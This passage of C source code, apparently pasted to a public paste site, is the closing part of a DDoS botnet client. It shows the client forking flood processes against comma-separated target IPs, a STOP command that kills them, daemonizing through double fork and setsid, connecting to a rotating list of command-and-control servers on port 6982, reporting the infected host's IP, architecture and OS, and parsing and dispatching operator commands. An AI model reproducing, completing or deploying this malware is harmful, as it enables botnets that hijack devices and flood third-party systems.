  797. if(strstr(ip, ",") != NULL)
  798. {
  799. unsigned char *hi = strtok(ip, ",");
  800. while(hi != NULL)
  801. {
  802. if(!listFork())
  803. {
  804. acnc(hi, port, time);
  805. close(mainCommSock);
  806. _exit(0);
  807. }
  808. hi = strtok(NULL, ",");
  809. }
  810. } else {
  811. if (listFork()) { return; }
  812.  
  813. acnc(ip, port, time);
  814. _exit(0);
  815. }
  816. }
  817. if(!strcmp(argv[0], "STOP"))
  818. {
  819. int killed = 0;
  820. unsigned long i;
  821. for (i = 0; i < numpids; i++) {
  822. if (pids[i] != 0 && pids[i] != getpid()) {
  823. kill(pids[i], 9);
  824. killed++;
  825. }
  826. }
  827.  
  828. if(killed > 0)
  829. {
  830. } else {
  831. }
  832. }
  833. }
  834. int initConnection()
  835. {
  836. unsigned char server[512];
  837. memset(server, 0, 512);
  838. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  839. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  840. else currentServer++;
  841.  
  842. strcpy(server, commServer[currentServer]);
  843. int port = 6982;
  844. if(strchr(server, ':') != NULL)
  845. {
  846. port = atoi(strchr(server, ':') + 1);
  847. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  848. }
  849.  
  850. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  851.  
  852. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  853.  
  854. return 0;
  855. }
  856.  
  857. int main(int argc, unsigned char *argv[])
  858. {
  859. if(SERVER_LIST_SIZE <= 0) return 0;
  860.  
  861. srand(time(NULL) ^ getpid());
  862. init_rand(time(NULL) ^ getpid());
  863. getOurIP();
  864. pid_t pid1;
  865. pid_t pid2;
  866. int status;
  867.  
  868. if (pid1 = fork()) {
  869. waitpid(pid1, &status, 0);
  870. exit(0);
  871. } else if (!pid1) {
  872. if (pid2 = fork()) {
  873. exit(0);
  874. } else if (!pid2) {
  875. } else {
  876. }
  877. } else {
  878. }
  879. setsid();
  880. chdir("/");
  881. signal(SIGPIPE, SIG_IGN);
  882.  
  883. while(1)
  884. {
  885. if(initConnection()) { sleep(5); continue; }
  886. sockprintf(mainCommSock, "[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]", inet_ntoa(ourIP), getPortz(), getBuildz(), getArch(), getOS());
  887. char commBuf[4096];
  888. int got = 0;
  889. int i = 0;
  890. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  891. {
  892. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  893. unsigned int *newpids, on;
  894. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  895. pids[on - 1] = 0;
  896. numpids--;
  897. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  898. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  899. free(pids);
  900. pids = newpids;
  901. }
  902.  
  903. commBuf[got] = 0x00;
  904.  
  905. trim(commBuf);
  906.  
  907. unsigned char *message = commBuf;
  908.  
  909. if(*message == '!')
  910. {
  911. unsigned char *nickMask = message + 1;
  912. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  913. if(*nickMask == 0x00) continue;
  914. *(nickMask) = 0x00;
  915. nickMask = message + 1;
  916.  
  917. message = message + strlen(nickMask) + 2;
  918. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  919.  
  920. unsigned char *command = message;
  921. while(*message != ' ' && *message != 0x00) message++;
  922. *message = 0x00;
  923. message++;
  924.  
  925. unsigned char *tmpcommand = command;
  926. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  927.  
  928. unsigned char *params[10];
  929. int paramsCount = 1;
  930. unsigned char *pch = strtok(message, " ");
  931. params[0] = command;
  932.  
  933. while(pch)
  934. {
  935. if(*pch != '\n')
  936. {
  937. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  938. memset(params[paramsCount], 0, strlen(pch) + 1);
  939. strcpy(params[paramsCount], pch);
  940. paramsCount++;
  941. }
  942. pch = strtok(NULL, " ");
  943. }
  944.  
  945. processCmd(paramsCount, params);
  946.  
  947. if(paramsCount > 1)
  948. {
  949. int q = 1;
  950. for(q = 1; q < paramsCount; q++)
  951. {
  952. free(params[q]);
  953. }
  954. }
  955. }
  956. }
  957. }
  958.  
  959. return 0;
  960. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement